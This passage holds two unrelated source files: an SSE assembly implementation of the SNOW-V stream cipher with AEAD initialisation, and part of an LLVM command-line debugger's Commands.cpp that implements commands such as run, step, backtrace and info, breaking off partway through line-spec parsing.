;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
;; Implementation based on
;; Patrik Ekdahl1, Thomas Johansson2, Alexander Maximov1 and Jing Yang2
;; abstract : 'A new SNOW stream cipher called SNOW-V'
;; https://eprint.iacr.org/2018/1143.pdf
%include "include/os.asm"
%include "include/reg_sizes.asm"
%include "include/memcpy.asm"
%include "include/imb_job.asm"
%include "include/clear_regs.asm"
%include "include/cet.inc"
%ifndef SNOW_V
%define SNOW_V snow_v_sse
%endif
%ifndef SNOW_V_AEAD_INIT
%define SNOW_V_AEAD_INIT snow_v_aead_init_sse
%endif
mksection .rodata
align 16
alpha:
times 8 dw 0x990f
align 16
alpha_inv:
times 8 dw -0xcc87
align 16
beta:
times 8 dw 0xc963
align 16
beta_inv:
times 8 dw -0xe4b1
;; permutation: [ 0, 4, 8, 12, 1, 5, 9, 13, 2, 6, 10, 14, 3, 7, 11, 15 ]
align 16
sigma:
dq 0xd0905010c080400
dq 0xf0b07030e0a0602
align 16
aead_lsfr_b_lo:
dq 0x20646b4578656c41
dq 0x6d6f6854676E694a
%ifdef LINUX
%define arg1 rdi
%define offset rcx
%else
%define arg1 rcx
%define offset r8
%endif
%define job arg1
mksection .text
;; Registers usage
;; xmm0, xmm1, xmm2, xmm3 : temporary space
;; xmm4 : generated keystream
;; xmm5, xmm6, xmm7 : FSM (R1, R2, R3)
;; xmm8, xmm9, xmm10, xmm11 : LFSR_A, LFSR_B
;; xmm13, xmm14, xmm15 : constants gA, gB, inv_gA
%define gA xmm13
%define gB xmm14
%define inv_gA xmm15
%define FSM_R1 xmm5
%define FSM_R2 xmm6
%define FSM_R3 xmm7
%define LFSR_A_LDQ xmm8 ;; LSFR A: (a7, ..., a0)
%define LFSR_A_HDQ xmm9 ;; LSFR A: (a15, ..., a8)
%define LFSR_B_LDQ xmm10 ;; LSFR B: (b7, ..., b0)
%define LFSR_B_HDQ xmm11 ;; LSFR B: (b15, ..., b8)
%define temp4 xmm12
;; =============================================================================
;; =============================================================================
;; Calculate 128-bit keystream
;; =============================================================================
%macro SNOW_V_KEYSTREAM 4
;; all input is expected to be xmm registers
%define %%KEYSTREAM %1 ;; [out] 128 bit keystream
%define %%LFSR_B_HDQ %2 ;; [in] 128 bit LFSR_B_HDQ (b15, ..., b8)
%define %%FSM_R1 %3 ;; [in] 128 bit FSM: R1
%define %%FSM_R2 %4 ;; [in] 128 bit FSM: R2
movdqa %%KEYSTREAM, %%LFSR_B_HDQ
paddd %%KEYSTREAM, %%FSM_R1
pxor %%KEYSTREAM, %%FSM_R2
%endmacro ;; SNOW_V_KEYSTREAM
;; =============================================================================
;; =============================================================================
;; Update SNOW_V FSM
;; =============================================================================
%macro SNOW_V_FSM_UPDATE 5
;; this macro needs defined constant sigma
;; all input is expected to be xmm registers
%define %%FSM_R1 %1 ;; [in/out] 128 bit FSM: R1
%define %%FSM_R2 %2 ;; [in/out] 128 bit FSM: R2
%define %%FSM_R3 %3 ;; [in/out] 128 bit FSM: R3
%define %%T2 %4 ;; [in/clobbered] 128 bit T2 tap register
;; containing copy of LFSR_A_LDQ (a7, ..., a0)
%define %%TEMP1 %5 ;; [clobbered] 128 bit register
pxor %%T2, %%FSM_R3 ;; T2 = R3 XOR LSFR_A [0:7]
paddd %%T2, %%FSM_R2 ;; T2 += R2
pshufb %%T2, [rel sigma] ;; T2 = sigma(T2)
movdqa %%FSM_R3, %%FSM_R2 ;; R3 = R2
movdqa %%FSM_R2, %%FSM_R1 ;; R2 = R1
pxor %%TEMP1, %%TEMP1 ;; TEMP1 = 0
movdqa %%FSM_R1, %%T2 ;; R1 = sigma(T2)
aesenc %%FSM_R3, %%TEMP1 ;; R3 = AESR(R2) (encryption round key C1 = 0)
aesenc %%FSM_R2, %%TEMP1 ;; R2 = AESR(R1) (encryption round key C2 = 0)
%endmacro ;; SNOW_V_FSM_UPDATE
;; =============================================================================
;; =============================================================================
;; Update SNOW_V LSFR
;; =============================================================================
%macro SNOW_V_LFSR_UPDATE 11
;; this macro needs defined constant beta_inv
;; all input is expected to be xmm registers
%define %%LFSR_A_LDQ %1 ;; [in/out] 128 bit LFSR_A_LDQ (a7, ..., a0)
%define %%LFSR_A_HDQ %2 ;; [in/out] 128 bit LFSR_A_HDQ (a15, ..., a8)
%define %%LFSR_B_LDQ %3 ;; [in/out] 128 bit LFSR_B_LDQ (b7, ..., b0)
%define %%LFSR_B_HDQ %4 ;; [in/out] 128 bit LFSR_B_HDQ (b15, ..., b8)
%define %%T1 %5 ;; [in/out] 128 bit T1 tap register
%define %%T2 %6 ;; [out] 128 bit T2 tap register
%define %%TEMP1 %7 ;; [clobbered] 128 bit register
%define %%TEMP2 %8 ;; [clobbered] 128 bit register
%define %%gA %9 ;; [in] 128 bit gA
%define %%gB %10 ;; [in] 128 bit gB
%define %%inv_gA %11 ;; [in] 128 bit inv_gA
;; LSFR Update
;; for i in [0,7]:
;; tmpa_i = alpha*a_i + alpha^-1*a_(i+8) + b_i + a_(i+1) mod g^A(alpha)
;; tmpb_i = beta*b_i + beta^−1*b_(i+8) + a_i + b_(i+3) mod g^ B(β)
;;
;; (a15, a14, ..., a0) = (tmpa_7, ..., tmpa_0, a15, ..., a8)
;; (b15, b14, ..., b0) = (tmpb_7, ..., tmpb_0, b15, ..., b8)
;;
;; alpha*x = (x<<1) xor ((x >> 15) and gA)
;;
;; (alpha^-1)*x = if (x & 0x0001): (x >> 1) xor [inv_gA]
;; else: (x >> 1)
;; = (x >> 1) xor signw(inv_gA, x << 15)
;; calculate mulx_A = (alpha*a7, ..., alpha*a0)
movdqa %%TEMP1, %%LFSR_A_LDQ
psraw %%TEMP1, 15 ;; 16-bit mask with sign bits preserved
pand %%TEMP1, %%gA
movdqa %%TEMP2, %%LFSR_A_LDQ
psllw %%TEMP2, 1
pxor %%TEMP2, %%TEMP1 ;; TEMP2 = mulx_A
;; calculate invx_A = (alpha^-1*a15, ..., alpha^-1*a8)
movdqa %%TEMP1, %%LFSR_A_HDQ
psllw %%TEMP1, 15
movdqa %%T2, %%inv_gA
psignw %%T2, %%TEMP1 ;; negate bits in inv_gA depending on LFSR_A_HDQ << 15
movdqa %%TEMP1, %%LFSR_A_HDQ
psrlw %%TEMP1, 1
pxor %%TEMP1, %%T2 ;; TEMP1 = invx_A
movdqa %%T2, %%LFSR_A_HDQ ;; make copy of LFSR_A_HDQ
;; LFSR_A_HDQ = mulx_A XOR invx_A XOR (b7, ..., b0) XOR (a8, ..., a1)
pxor %%TEMP1, %%TEMP2 ;; TEMP1 = invx_A xor mulx_A
palignr %%LFSR_A_HDQ, %%LFSR_A_LDQ, 2 ;; T2 = (tmpa_8, ..., tmpa_1)
pxor %%LFSR_A_HDQ, %%LFSR_B_LDQ
pxor %%LFSR_A_HDQ, %%TEMP1
;; calculate mulx_B
movdqa %%TEMP1, %%LFSR_B_LDQ
psraw %%TEMP1, 15
pand %%TEMP1, %%gB
movdqa %%TEMP2, %%LFSR_B_LDQ
psllw %%TEMP2, 1
pxor %%TEMP1, %%TEMP2
;; T1 = mulx_B XOR (a7, ..., a0) XOR (b10, ..., b3)
pxor %%TEMP1, %%LFSR_A_LDQ
palignr %%T1, %%LFSR_B_LDQ, 6 ;; (b10, ..., b3)
pxor %%T1, %%TEMP1
;; calculate invx_B
movdqa %%TEMP1, %%LFSR_B_HDQ
psllw %%TEMP1, 15
movdqa %%TEMP2, [rel beta_inv]
psignw %%TEMP2, %%TEMP1
movdqa %%TEMP1, %%LFSR_B_HDQ
psrlw %%TEMP1, 1
pxor %%TEMP1, %%TEMP2
;; LFSR_B_HDQ = mulx_B XOR invx_B XOR (a7, ..., a0) XOR (b10, ..., b3)
pxor %%T1, %%TEMP1
movdqa %%LFSR_B_LDQ, %%LFSR_B_HDQ ;; LFSR_B_LDQ = LFSR_B_HDQ
movdqa %%LFSR_A_LDQ, %%T2 ;; LFSR_A_LDQ = LFSR_A_HDQ
movdqa %%LFSR_B_HDQ, %%T1
%endmacro ;; SNOW_V_LFSR_UPDATE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
MKGLOBAL(SNOW_V_AEAD_INIT,function,)
SNOW_V_AEAD_INIT:
endbranch64
;; use offset to indicate AEAD mode
mov DWORD(offset), 1
movdqa LFSR_B_LDQ, [rel aead_lsfr_b_lo]
jmp snow_v_common_init
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
MKGLOBAL(SNOW_V,function,)
SNOW_V:
endbranch64
;; use offset to indicate AEAD mode
xor DWORD(offset), DWORD(offset)
pxor LFSR_B_LDQ, LFSR_B_LDQ
snow_v_common_init:
;; Init LSFR
mov rax, [job + _enc_keys]
movdqu LFSR_A_HDQ, [rax]
movdqu LFSR_B_HDQ, [rax + 16]
mov rax, [job + _iv]
movdqu LFSR_A_LDQ, [rax]
;; Init FSM: R1 = R2 = R3 = 0
pxor FSM_R1, FSM_R1
pxor FSM_R2, FSM_R2
pxor FSM_R3, FSM_R3
movdqa gA, [rel alpha]
movdqa gB, [rel beta]
movdqa inv_gA, [rel alpha_inv]
movdqa xmm0, LFSR_B_HDQ ;; init T1 for LSFR update
movdqa xmm1, LFSR_A_LDQ ;; init T2 for FSM update
mov eax, 15
init_fsm_lfsr_loop:
SNOW_V_KEYSTREAM xmm4, LFSR_B_HDQ, FSM_R1, FSM_R2
SNOW_V_FSM_UPDATE FSM_R1, FSM_R2, FSM_R3, xmm1, xmm2
SNOW_V_LFSR_UPDATE LFSR_A_LDQ, LFSR_A_HDQ, LFSR_B_LDQ, LFSR_B_HDQ, \
xmm0, xmm1, xmm2, xmm3, gA, gB, inv_gA
pxor LFSR_A_HDQ, xmm4
dec eax
jnz init_fsm_lfsr_loop
mov rax, [job + _enc_keys]
movdqu temp4, [rax]
pxor FSM_R1, temp4
SNOW_V_KEYSTREAM xmm4, LFSR_B_HDQ, FSM_R1, FSM_R2
SNOW_V_FSM_UPDATE FSM_R1, FSM_R2, FSM_R3, xmm1, xmm2
SNOW_V_LFSR_UPDATE LFSR_A_LDQ, LFSR_A_HDQ,LFSR_B_LDQ, LFSR_B_HDQ, \
xmm0, xmm1, xmm2, xmm3, gA, gB, inv_gA
pxor LFSR_A_HDQ, xmm4
movdqu temp4, [rax + 16]
pxor FSM_R1, temp4
;; At this point FSM and LSFR are initialized
or DWORD(offset), DWORD(offset)
jz no_aead
;; in AEAD mode hkey = keystream_0 and endpad = keystream_1
mov r11, [job + _snow_v_reserved]
;; generate hkey
SNOW_V_KEYSTREAM xmm4, LFSR_B_HDQ, FSM_R1, FSM_R2
movdqu [r11], xmm4
;; generate endpad
SNOW_V_FSM_UPDATE FSM_R1, FSM_R2, FSM_R3, xmm1, xmm2
SNOW_V_LFSR_UPDATE LFSR_A_LDQ, LFSR_A_HDQ,LFSR_B_LDQ, LFSR_B_HDQ, \
xmm0, xmm1, xmm2, xmm3, gA, gB, inv_gA
SNOW_V_KEYSTREAM xmm4, LFSR_B_HDQ, FSM_R1, FSM_R2
SNOW_V_FSM_UPDATE FSM_R1, FSM_R2, FSM_R3, xmm1, xmm2
SNOW_V_LFSR_UPDATE LFSR_A_LDQ, LFSR_A_HDQ,LFSR_B_LDQ, LFSR_B_HDQ, \
xmm0, xmm1, xmm2, xmm3, gA, gB, inv_gA
mov offset, [r11 + 24]
movdqu [r11 + 16], xmm4
or offset, offset
;; if last 8 bytes endpad are not 0 skip encrypt/decrypt operation
;; option used to calculate auth tag for decrypt and not overwrite
;; cipher by plain when the same src/dst pointer is used
jnz no_partial_block_left
no_aead:
;; Process input
mov r10, [job + _src]
add r10, [job + _cipher_start_src_offset_in_bytes]
mov r11, [job + _dst]
mov rax, [job + _msg_len_to_cipher_in_bytes]
xor offset, offset
;; deal with partial block less than 16b outside main loop
and rax, 0xfffffffffffffff0
jz final_bytes
encrypt_loop:
movdqu temp4, [r10 + offset]
SNOW_V_KEYSTREAM xmm4, LFSR_B_HDQ, FSM_R1, FSM_R2
SNOW_V_FSM_UPDATE FSM_R1, FSM_R2, FSM_R3, xmm1, xmm2
SNOW_V_LFSR_UPDATE LFSR_A_LDQ, LFSR_A_HDQ,LFSR_B_LDQ, LFSR_B_HDQ, \
xmm0, xmm1, xmm2, xmm3, gA, gB, inv_gA
pxor temp4, xmm4
movdqu [r11 + offset], temp4
add offset, 16
sub rax, 16
jnz encrypt_loop
final_bytes:
mov rax, [job + _msg_len_to_cipher_in_bytes]
and rax, 0xf
jz no_partial_block_left
;; load partial block into XMM register
add r10, offset
simd_load_sse_15_1 temp4, r10, rax
SNOW_V_KEYSTREAM xmm4, LFSR_B_HDQ, FSM_R1, FSM_R2
pxor temp4, xmm4
add r11, offset
;; use r10 and offset as temp [clobbered]
simd_store_sse_15 r11, temp4, rax, r10, offset
no_partial_block_left:
;; Clear registers and return data
%ifdef SAFE_DATA
clear_scratch_xmms_sse_asm
%endif
mov rax, job
or dword [rax + _status], IMB_STATUS_COMPLETED_CIPHER
ret
mksection stack-noexec
|
//===-- Commands.cpp - Implement various commands for the CLI -------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file implements many builtin user commands.
//
//===----------------------------------------------------------------------===//
#include "CLIDebugger.h"
#include "CLICommand.h"
#include "llvm/Debugger/ProgramInfo.h"
#include "llvm/Debugger/RuntimeInfo.h"
#include "llvm/Debugger/SourceLanguage.h"
#include "llvm/Debugger/SourceFile.h"
#include "llvm/Debugger/InferiorProcess.h"
#include "llvm/Support/FileUtilities.h"
#include "llvm/ADT/StringExtras.h"
#include <iostream>
#include <cstdlib>
using namespace llvm;
/// getCurrentLanguage - Return the current source language that the user is
/// playing around with. This is aquired from the current stack frame of a
/// running program if one exists, but this value can be explicitly set by the
/// user as well.
const SourceLanguage &CLIDebugger::getCurrentLanguage() const {
// If the user explicitly switched languages with 'set language', use what
// they asked for.
if (CurrentLanguage) {
return *CurrentLanguage;
} else if (Dbg.isProgramRunning()) {
// Otherwise, if the program is running, infer the current language from it.
const GlobalVariable *FuncDesc =
getRuntimeInfo().getCurrentFrame().getFunctionDesc();
return getProgramInfo().getFunction(FuncDesc).getSourceFile().getLanguage();
} else {
// Otherwise, default to C like GDB apparently does.
return SourceLanguage::getCFamilyInstance();
}
}
/// startProgramRunning - If the program has been updated, reload it, then
/// start executing the program.
void CLIDebugger::startProgramRunning() {
eliminateRunInfo();
// If the program has been modified, reload it!
sys::PathWithStatus Program(Dbg.getProgramPath());
std::string Err;
const sys::FileStatus *Status = Program.getFileStatus(false, &Err);
if (!Status)
throw Err;
if (TheProgramInfo->getProgramTimeStamp() != Status->getTimestamp()) {
std::cout << "'" << Program << "' has changed; re-reading program.\n";
// Unload an existing program. This kills the program if necessary.
Dbg.unloadProgram();
delete TheProgramInfo;
TheProgramInfo = 0;
CurrentFile = 0;
Dbg.loadProgram(Program.toString());
TheProgramInfo = new ProgramInfo(Dbg.getProgram());
}
std::cout << "Starting program: " << Dbg.getProgramPath() << "\n";
Dbg.createProgram();
// There was no current frame.
LastCurrentFrame = 0;
}
/// printSourceLine - Print the specified line of the current source file.
/// If the specified line is invalid (the source file could not be loaded or
/// the line number is out of range), don't print anything, but return true.
bool CLIDebugger::printSourceLine(unsigned LineNo) {
assert(CurrentFile && "There is no current source file to print!");
const char *LineStart, *LineEnd;
CurrentFile->getSourceLine(LineNo-1, LineStart, LineEnd);
if (LineStart == 0) return true;
std::cout << LineNo;
// If this is the line the program is currently stopped at, print a marker.
if (Dbg.isProgramRunning()) {
unsigned CurLineNo, CurColNo;
const SourceFileInfo *CurSFI;
getRuntimeInfo().getCurrentFrame().getSourceLocation(CurLineNo, CurColNo,
CurSFI);
if (CurLineNo == LineNo && CurrentFile == &CurSFI->getSourceText())
std::cout << " ->";
}
std::cout << "\t" << std::string(LineStart, LineEnd) << "\n";
return false;
}
/// printProgramLocation - Print a line of the place where the current stack
/// frame has stopped and the source line it is on.
///
void CLIDebugger::printProgramLocation(bool PrintLocation) {
assert(Dbg.isProgramLoaded() && Dbg.isProgramRunning() &&
"Error program is not loaded and running!");
// Figure out where the program stopped...
StackFrame &SF = getRuntimeInfo().getCurrentFrame();
unsigned LineNo, ColNo;
const SourceFileInfo *FileDesc;
SF.getSourceLocation(LineNo, ColNo, FileDesc);
// If requested, print out some program information about WHERE we are.
if (PrintLocation) {
// FIXME: print the current function arguments
if (const GlobalVariable *FuncDesc = SF.getFunctionDesc())
std::cout << getProgramInfo().getFunction(FuncDesc).getSymbolicName();
else
std::cout << "<unknown function>";
CurrentFile = &FileDesc->getSourceText();
std::cout << " at " << CurrentFile->getFilename() << ":" << LineNo;
if (ColNo) std::cout << ":" << ColNo;
std::cout << "\n";
}
if (printSourceLine(LineNo))
std::cout << "<could not load source file>\n";
else {
LineListedStart = LineNo-ListSize/2+1;
if ((int)LineListedStart < 1) LineListedStart = 1;
LineListedEnd = LineListedStart+1;
}
}
/// eliminateRunInfo - We are about to run the program. Forget any state
/// about how the program used to be stopped.
void CLIDebugger::eliminateRunInfo() {
delete TheRuntimeInfo;
TheRuntimeInfo = 0;
}
/// programStoppedSuccessfully - This method updates internal data
/// structures to reflect the fact that the program just executed a while,
/// and has successfully stopped.
void CLIDebugger::programStoppedSuccessfully() {
assert(TheRuntimeInfo==0 && "Someone forgot to release the old RuntimeInfo!");
TheRuntimeInfo = new RuntimeInfo(TheProgramInfo, Dbg.getRunningProcess());
// FIXME: if there are any breakpoints at the current location, print them as
// well.
// Since the program as successfully stopped, print its location.
void *CurrentFrame = getRuntimeInfo().getCurrentFrame().getFrameID();
printProgramLocation(CurrentFrame != LastCurrentFrame);
LastCurrentFrame = CurrentFrame;
}
/// getUnsignedIntegerOption - Get an unsigned integer number from the Val
/// string. Check to make sure that the string contains an unsigned integer
/// token, and if not, throw an exception. If isOnlyOption is set, also throw
/// an exception if there is extra junk at the end of the string.
static unsigned getUnsignedIntegerOption(const char *Msg, std::string &Val,
bool isOnlyOption = true) {
std::string Tok = getToken(Val);
if (Tok.empty() || (isOnlyOption && !getToken(Val).empty()))
throw std::string(Msg) + " expects an unsigned integer argument.";
char *EndPtr;
unsigned Result = strtoul(Tok.c_str(), &EndPtr, 0);
if (EndPtr != Tok.c_str()+Tok.size())
throw std::string(Msg) + " expects an unsigned integer argument.";
return Result;
}
/// getOptionalUnsignedIntegerOption - This method is just like
/// getUnsignedIntegerOption, but if the argument value is not specified, a
/// default is returned instead of causing an error.
static unsigned
getOptionalUnsignedIntegerOption(const char *Msg, unsigned Default,
std::string &Val, bool isOnlyOption = true) {
// Check to see if the value was specified...
std::string TokVal = getToken(Val);
if (TokVal.empty()) return Default;
// If it was specified, add it back to the value we are parsing...
Val = TokVal+Val;
// And parse normally.
return getUnsignedIntegerOption(Msg, Val, isOnlyOption);
}
/// parseProgramOptions - This method parses the Options string and loads it
/// as options to be passed to the program. This is used by the run command
/// and by 'set args'.
void CLIDebugger::parseProgramOptions(std::string &Options) {
// FIXME: tokenizing by whitespace is clearly incorrect. Instead we should
// honor quotes and other things that a shell would. Also in the future we
// should support redirection of standard IO.
std::vector<std::string> Arguments;
for (std::string A = getToken(Options); !A.empty(); A = getToken(Options))
Arguments.push_back(A);
Dbg.setProgramArguments(Arguments.begin(), Arguments.end());
}
//===----------------------------------------------------------------------===//
// Program startup and shutdown options
//===----------------------------------------------------------------------===//
/// file command - If the user specifies an option, search the PATH for the
/// specified program/bitcode file and load it. If the user does not specify
/// an option, unload the current program.
void CLIDebugger::fileCommand(std::string &Options) {
std::string Prog = getToken(Options);
if (!getToken(Options).empty())
throw "file command takes at most one argument.";
// Check to make sure the user knows what they are doing
if (Dbg.isProgramRunning() &&
!askYesNo("A program is already loaded. Kill it?"))
return;
// Unload an existing program. This kills the program if necessary.
eliminateRunInfo();
delete TheProgramInfo;
TheProgramInfo = 0;
Dbg.unloadProgram();
CurrentFile = 0;
// If requested, start the new program.
if (Prog.empty()) {
std::cout << "Unloaded program.\n";
} else {
std::cout << "Loading program... " << std::flush;
Dbg.loadProgram(Prog);
assert(Dbg.isProgramLoaded() &&
"loadProgram succeeded, but not program loaded!");
TheProgramInfo = new ProgramInfo(Dbg.getProgram());
std::cout << "successfully loaded '" << Dbg.getProgramPath() << "'!\n";
}
}
void CLIDebugger::createCommand(std::string &Options) {
if (!getToken(Options).empty())
throw "create command does not take any arguments.";
if (!Dbg.isProgramLoaded()) throw "No program loaded.";
if (Dbg.isProgramRunning() &&
!askYesNo("The program is already running. Restart from the beginning?"))
return;
// Start the program running.
startProgramRunning();
// The program stopped!
programStoppedSuccessfully();
}
void CLIDebugger::killCommand(std::string &Options) {
if (!getToken(Options).empty())
throw "kill command does not take any arguments.";
if (!Dbg.isProgramRunning())
throw "No program is currently being run.";
if (askYesNo("Kill the program being debugged?"))
Dbg.killProgram();
eliminateRunInfo();
}
void CLIDebugger::quitCommand(std::string &Options) {
if (!getToken(Options).empty())
throw "quit command does not take any arguments.";
if (Dbg.isProgramRunning() &&
!askYesNo("The program is running. Exit anyway?"))
return;
// Throw exception to get out of the user-input loop.
throw 0;
}
//===----------------------------------------------------------------------===//
// Program execution commands
//===----------------------------------------------------------------------===//
void CLIDebugger::runCommand(std::string &Options) {
if (!Dbg.isProgramLoaded()) throw "No program loaded.";
if (Dbg.isProgramRunning() &&
!askYesNo("The program is already running. Restart from the beginning?"))
return;
// Parse all of the options to the run command, which specify program
// arguments to run with.
parseProgramOptions(Options);
eliminateRunInfo();
// Start the program running.
startProgramRunning();
// Start the program running...
Options = "";
contCommand(Options);
}
void CLIDebugger::contCommand(std::string &Options) {
if (!getToken(Options).empty()) throw "cont argument not supported yet.";
if (!Dbg.isProgramRunning()) throw "Program is not running.";
eliminateRunInfo();
Dbg.contProgram();
// The program stopped!
programStoppedSuccessfully();
}
void CLIDebugger::stepCommand(std::string &Options) {
if (!Dbg.isProgramRunning()) throw "Program is not running.";
// Figure out how many times to step.
unsigned Amount =
getOptionalUnsignedIntegerOption("'step' command", 1, Options);
eliminateRunInfo();
// Step the specified number of times.
for (; Amount; --Amount)
Dbg.stepProgram();
// The program stopped!
programStoppedSuccessfully();
}
void CLIDebugger::nextCommand(std::string &Options) {
if (!Dbg.isProgramRunning()) throw "Program is not running.";
unsigned Amount =
getOptionalUnsignedIntegerOption("'next' command", 1, Options);
eliminateRunInfo();
for (; Amount; --Amount)
Dbg.nextProgram();
// The program stopped!
programStoppedSuccessfully();
}
void CLIDebugger::finishCommand(std::string &Options) {
if (!getToken(Options).empty())
throw "finish command does not take any arguments.";
if (!Dbg.isProgramRunning()) throw "Program is not running.";
// Figure out where we are exactly. If the user requests that we return from
// a frame that is not the top frame, make sure we get it.
void *CurrentFrame = getRuntimeInfo().getCurrentFrame().getFrameID();
eliminateRunInfo();
Dbg.finishProgram(CurrentFrame);
// The program stopped!
programStoppedSuccessfully();
}
//===----------------------------------------------------------------------===//
// Stack frame commands
//===----------------------------------------------------------------------===//
void CLIDebugger::backtraceCommand(std::string &Options) {
// Accepts "full", n, -n
if (!getToken(Options).empty())
throw "FIXME: bt command argument not implemented yet!";
RuntimeInfo &RI = getRuntimeInfo();
ProgramInfo &PI = getProgramInfo();
try {
for (unsigned i = 0; ; ++i) {
StackFrame &SF = RI.getStackFrame(i);
std::cout << "#" << i;
if (i == RI.getCurrentFrameIdx())
std::cout << " ->";
std::cout << "\t" << SF.getFrameID() << " in ";
if (const GlobalVariable *G = SF.getFunctionDesc())
std::cout << PI.getFunction(G).getSymbolicName();
unsigned LineNo, ColNo;
const SourceFileInfo *SFI;
SF.getSourceLocation(LineNo, ColNo, SFI);
if (!SFI->getBaseName().empty()) {
std::cout << " at " << SFI->getBaseName();
if (LineNo) {
std::cout << ":" << LineNo;
if (ColNo)
std::cout << ":" << ColNo;
}
}
// FIXME: when we support shared libraries, we should print ' from foo.so'
// if the stack frame is from a different object than the current one.
std::cout << "\n";
}
} catch (...) {
// Stop automatically when we run off the bottom of the stack.
}
}
void CLIDebugger::upCommand(std::string &Options) {
unsigned Num =
getOptionalUnsignedIntegerOption("'up' command", 1, Options);
RuntimeInfo &RI = getRuntimeInfo();
unsigned CurFrame = RI.getCurrentFrameIdx();
// Check to see if we go can up the specified number of frames.
try {
RI.getStackFrame(CurFrame+Num);
} catch (...) {
if (Num == 1)
throw "Initial frame selected; you cannot go up.";
else
throw "Cannot go up " + utostr(Num) + " frames!";
}
RI.setCurrentFrameIdx(CurFrame+Num);
printProgramLocation();
}
void CLIDebugger::downCommand(std::string &Options) {
unsigned Num =
getOptionalUnsignedIntegerOption("'down' command", 1, Options);
RuntimeInfo &RI = getRuntimeInfo();
unsigned CurFrame = RI.getCurrentFrameIdx();
// Check to see if we can go up the specified number of frames.
if (CurFrame < Num) {
if (Num == 1)
throw "Bottom (i.e., innermost) frame selected; you cannot go down.";
else
throw "Cannot go down " + utostr(Num) + " frames!";
}
RI.setCurrentFrameIdx(CurFrame-Num);
printProgramLocation();
}
void CLIDebugger::frameCommand(std::string &Options) {
RuntimeInfo &RI = getRuntimeInfo();
unsigned CurFrame = RI.getCurrentFrameIdx();
unsigned Num =
getOptionalUnsignedIntegerOption("'frame' command", CurFrame, Options);
// Check to see if we go to the specified frame.
RI.getStackFrame(Num);
RI.setCurrentFrameIdx(Num);
printProgramLocation();
}
//===----------------------------------------------------------------------===//
// Breakpoint related commands
//===----------------------------------------------------------------------===//
void CLIDebugger::breakCommand(std::string &Options) {
// Figure out where the user wants a breakpoint.
const SourceFile *File;
unsigned LineNo;
// Check to see if the user specified a line specifier.
std::string Option = getToken(Options); // strip whitespace
if (!Option.empty()) {
Options = Option + Options; // reconstruct string
// Parse the line specifier.
parseLineSpec(Options, File, LineNo);
} else {
// Build a line specifier for the current stack frame.
throw "FIXME: breaking at the current location is not implemented yet!";
}
if (!File) File = CurrentFile;
if (File == 0)
throw "Unknown file to place breakpoint!";
std::cerr << "Break: " << File->getFilename() << ":" << LineNo << "\n";
throw "breakpoints not implemented yet!";
}
//===----------------------------------------------------------------------===//
// Miscellaneous commands
//===----------------------------------------------------------------------===//
void CLIDebugger::infoCommand(std::string &Options) {
std::string What = getToken(Options);
if (What.empty() || !getToken(Options).empty()){
std::string infoStr("info");
helpCommand(infoStr);
return;
}
if (What == "frame") {
} else if (What == "functions") {
const std::map<const GlobalVariable*, SourceFunctionInfo*> &Functions
= getProgramInfo().getSourceFunctions();
std::cout << "All defined functions:\n";
// FIXME: GDB groups these by source file. We could do that I guess.
for (std::map<const GlobalVariable*, SourceFunctionInfo*>::const_iterator
I = Functions.begin(), E = Functions.end(); I != E; ++I) {
std::cout << I->second->getSymbolicName() << "\n";
}
} else if (What == "source") {
if (CurrentFile == 0)
throw "No current source file.";
// Get the SourceFile information for the current file.
const SourceFileInfo &SF =
getProgramInfo().getSourceFile(CurrentFile->getDescriptor());
std::cout << "Current source file is: " << SF.getBaseName() << "\n"
<< "Compilation directory is: " << SF.getDirectory() << "\n";
if (unsigned NL = CurrentFile->getNumLines())
std::cout << "Located in: " << CurrentFile->getFilename() << "\n"
<< "Contains " << NL << " lines\n";
else
std::cout << "Could not find source file.\n";
std::cout << "Source language is "
<< SF.getLanguage().getSourceLanguageName() << "\n";
} else if (What == "sources") {
const std::map<const GlobalVariable*, SourceFileInfo*> &SourceFiles =
getProgramInfo().getSourceFiles();
std::cout << "Source files for the program:\n";
for (std::map<const GlobalVariable*, SourceFileInfo*>::const_iterator I =
SourceFiles.begin(), E = SourceFiles.end(); I != E;) {
std::cout << I->second->getDirectory() << "/"
<< I->second->getBaseName();
++I;
if (I != E) std::cout << ", ";
}
std::cout << "\n";
} else if (What == "target") {
std::cout << Dbg.getRunningProcess().getStatus();
} else {
// See if this is something handled by the current language.
if (getCurrentLanguage().printInfo(What))
return;
throw "Unknown info command '" + What + "'. Try 'help info'.";
}
}
/// parseLineSpec - Parses a line specifier, for use by the 'list' command.
/// If SourceFile is returned as a void pointer, then it was not specified.
/// If the line specifier is invalid, an exception is thrown.
void CLIDebugger::parseLineSpec(std::string &LineSpec,
const SourceFile *&SourceFile,
unsigned &LineNo) {
SourceFile = 0;
LineNo = 0;
// First, check to see if we have a : separator.
std::string FirstPart = getToken(LineSpec, ":");
std::string SecondPart = getToken(LineSpec, ":");
if (!getToken(LineSpec).empty()) throw "Malformed line specification!";
// If there is no second part, we must have either "function", "number",
// "+offset", or "-offset".
if (SecondPart.empty()) {
if (FirstPart.empty()) throw "Malformed line specification!";
if (FirstPart[0] == '+') {
FirstPart.erase(FirstPart.begin(), FirstPart.begin()+1);
// For +n, return LineListedEnd+n
LineNo = LineListedEnd +
getUnsignedIntegerOption("Line specifier '+'", FirstPart);
} else if (FirstPart[0] == '-') {
FirstPart.erase(FirstPart.begin(), FirstPart.begin()+1);
// For -n, return LineListedEnd-n
LineNo = LineListedEnd -
getUnsignedIntegerOption("Line specifier '-'", FirstPart);
